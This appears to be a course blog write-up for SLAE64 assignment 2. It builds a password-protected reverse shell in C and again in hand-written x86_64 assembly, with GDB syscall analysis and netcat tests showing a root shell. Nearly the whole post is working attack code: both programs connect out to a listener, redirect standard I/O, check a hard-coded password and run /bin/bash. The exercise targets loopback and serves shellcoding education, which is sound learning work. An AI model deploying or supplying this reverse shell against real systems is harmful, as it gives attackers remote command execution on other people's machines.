SLAE64 Assignment 2 - Password Protected Reverse Shell

9 minute read

C Reverse Shell

I first created a skelton reverse shell using the C language to reverse engineer the work needed to be done for the assembly shellcode version.

revshell.c

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h> /* superset of previous */
#include <stdlib.h>
int main(void)
{
 int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
 struct sockaddr_in ipSocketAddr = { 
  .sin_family = AF_INET, 
  .sin_port = htons(4444), 
  .sin_addr.s_addr = inet_addr("127.1.1.1") 
 };
 connect(ipv4Socket, (struct sockaddr*)&ipSocketAddr, sizeof(ipSocketAddr)); 
 dup2(ipv4Socket, 0); // Standard Input
 dup2(ipv4Socket, 1); // Standard Output
 dup2(ipv4Socket, 2); // Standard Error
 write(ipv4Socket, "Mothers Maiden Name?", 20); 
 char buff[4];
 read(ipv4Socket, buff, 4);
 execve("/bin/bash", NULL, NULL);
}	
  • Password checking will be done in assembly and is not included in the C skeleton program.

Compiling & Testing

root# gcc revshell.c -o revshell
root# ./revshell 
────────────────────────────────────────────────────────────
root# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 44006
Mothers Maiden Name?1337
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev)

C Reverse Shell GDB Analysis

root# gdb ./revshell
db-peda$ info functions
0x0000000000001030  write@plt
0x0000000000001040  htons@plt
0x0000000000001050  dup2@plt
0x0000000000001060  read@plt
0x0000000000001070  execve@plt
0x0000000000001080  inet_addr@plt
0x0000000000001090  connect@plt
0x00000000000010a0  socket@plt
gdb-peda$ b socket
Breakpoint 1 at 0x10a0
gdb-peda$ r

1 - Socket

[----------------------code----------------------]
=> 0x7ffff7edf8d0 <socket>:     mov    eax,0x29
   0x7ffff7edf8d5 <socket+5>:   syscall
[-------- Registers at time System Call ---------]
RAX: 0x29
RDI: 0x2 
RSI: 0x1 
RDX: 0x0 

2 - Connect

[-------- Registers at time System Call ---------]
RAX: 0x2a
RDI: 0x3 <- Socket FD returned from socket()
RSI: 0x7fffffffe120 --> 0x101017f5c110002
  gdb-peda$ hexdump $rsi 16
  0x00007fffffffe120 : 
    02 00 11 5c 7f 01 01 01 00 00 00 00 00 00 00 00
  AF_INET|4444 |127.1. 1. 1 [----Leave as Nulls----]
RDX: 0x10 <- Struct Size (16 bytes)

3 - Dup2

[----------------------code----------------------]
=> 0x7ffff7ed0020 <dup2>:       mov    eax,0x21
   0x7ffff7ed0025 <dup2+5>:     syscall 
[-------- Registers at time System Call ---------]
RAX: 0x21
RDI:  0x3 <- Socket FD returned from socket()
RSI: 0x0, 0x1, 0x2

4 - Write

[-------- Registers at time System Call ---------]
RAX: 0x1
RDI: 0x3 <- Socket FD returned from socket()
RSI: 0x55555555600e ("Mothers Maiden Name?")
RDX: 0x14 <- Size of String (20 bytes)

5 - Read

[-------- Registers at time System Call ---------]
RAX: 0x0
RDI: 0x3 <- Socket FD returned from socket()
RSI: &Destination
RDX: 0x4 <- Size of String to read

6 - Execve

[----------------------code----------------------]
=> 0x7ffff7eabe80 <execve>:     mov    eax,0x3b
   0x7ffff7eabe85 <execve+5>:   syscall 
[-------- Registers at time System Call ---------]
RAX: 0x3b
RDI: 0x555555556023 ("/bin/bash")
  gdb-peda$ hexdump $rdi
  0x0000555555556023 : 2f 62 69 6e 2f 62 61 73 68 00  /bin/bash.
RSI: 0x0
RDX: 0x0

Sys Calls

root# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | \
egrep "(connect|execve |write |read |socket |dup2)"
#define __NR_read 0       => \x00
#define __NR_write 1      => \x01
#define __NR_dup2 33      => \x21
#define __NR_socket 41    => \x29
#define __NR_connect 42   => \x2a
#define __NR_execve 59    => \x3b

Assembly

global _start

section .text

_start:
; int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
; rax = 0x29
; rdi = 0x2  = AF_INET
; rsi = 0x1  = SOCK_STREAM
; rdx = 0x0  = IPPROTO_IP

xor rsi, rsi   ; clear rsi
mul rsi        ; clear rax, rdx ; rdx = 0x0 = IPPROTO_IP
add al, 0x29   ; rax = 0x29 = socket syscall
inc rsi        ; rsi = 0x1 = SOCK_STREAM
push rsi
pop rdi        ; rdi = 0x1
inc rdi        ; rdi = 0x2 = AF_INET
syscall        ; socket syscall ; RAX returns socket File-Descriptor


; connect(ipv4Socket, (struct sockaddr*)&ipSocketAddr, sizeof(ipSocketAddr));  
; RAX: 0x2a
; RDI: 0x3     <- Socket FD returned from socket()
; RSI: 0x7fffffffe120 --> 0x101017f5c110002
;   gdb-peda$ hexdump $rsi 16
;   0x00007fffffffe120 :
;     02 00 11 5c 7f 01 01 01 00 00 00 00 00 00 00 00
;   AF_INET|4444 |127.1. 1. 1 [----Leave as Nulls----]
; RDX: 0x10    <- Struct Size (16 bytes)

xchg rdi, rax    ; RDI = sockfd / ipv4Socket
xor rax, rax
add al, 0x2a     ; rax = 0x2a = connect syscall
push rdx         ; 8 bytes of zeros for second half of struct
push dword 0x0101017f
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx          
push dx          ; dx = 0x0002 = AF_INET
add dl, 0xe      ; rdi = 0x10 = sizeof(ipSocketAddr)
mov rsi, rsp     ; rsi = &ipSocketAddr
syscall

; dup2
xor rsi, rsi
xor edx, edx
add dl, 0x3      ; Loop Counter

dup2Loop:
xor rax, rax
add al, 0x21     ; RAX = 0x21 = dup2 systemcall
syscall          ; call dup2 x3 to redirect STDIN STDOUT STDERR
inc rsi
cmp rsi, rdx     ; if 2-STDERR, end loop
jne dup2Loop

password:
; write
; rax = 0x1
; rdi = fd = 0x1 STDOUT
; rsi = &String
; rdx = sizeof(String)
;   "Mothers Maiden Name?"
;String length : 20
;      ?ema : 3f656d61
;  N nediaM : 4e206e656469614d
;   srehtoM : 2073726568746f4d

xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
push dword 0x3f656d61
mov rsi, 0x4e206e656469614d
push rsi
mov rsi, 0x2073726568746f4d
push rsi
mov rsi, rsp    ; rsi = &String
inc rax         ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 0x14   ; 20 bytes / size of string
syscall

; read
; rax = 0x0 = read systemcall
; rdi = fd = 0x0 STDIN
; rsi = Write to &String
; rdx = 0x4 = sizeof(String)
xor rdi, rdi
push rdi
mul rdi         ; rdx =0x0 ; rax = 0x0 = write system call
mov rsi, rsp    ; rsi = [RSP] = &String
add rdx, 0x4    ; 4 bytes / size of password
syscall

; "1337"
; String length : 4
;   7331 : 37333331
mov rdi, rsp
push 0x37333331
mov rsi, rsp    ; rsi = &String
xor rcx, rcx
add rcx, 0x4
repe cmpsb
jnz password

;execve
; rax = 0x3b
; rdi = Pointer -> "/bin/bash"0x00
;root# python reverse.py "/bin/bash"
;String length : 9
;h : 68
;sab/nib/ : 7361622f6e69622f
; rsi = 0x0
; rdx = 0x0

xor rsi, rsi
mul rsi          ; rdx&rax= 0x0
xor rdi, rdi
push rdi
add rdx, 0x68
push rdx
mov rdx, 0x7361622f6e69622f ; "/bin/bas"
push rdx
xor rdx, rdx
mov rdi, rsp
mov al, 0x3b  
syscall  ; call execve("/bin/bash", NULL, NULL)

Testing

Terminal 1

root# nasm -f elf64 revshell.asm -o revshell.o
root# ld revshell.o -o revshell
root# ./revshell

Terminal 2

root@zed# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 44400
Mothers Maiden Name?asd
Mothers Maiden Name?123
Mothers Maiden Name?1337
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev)

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

Updated: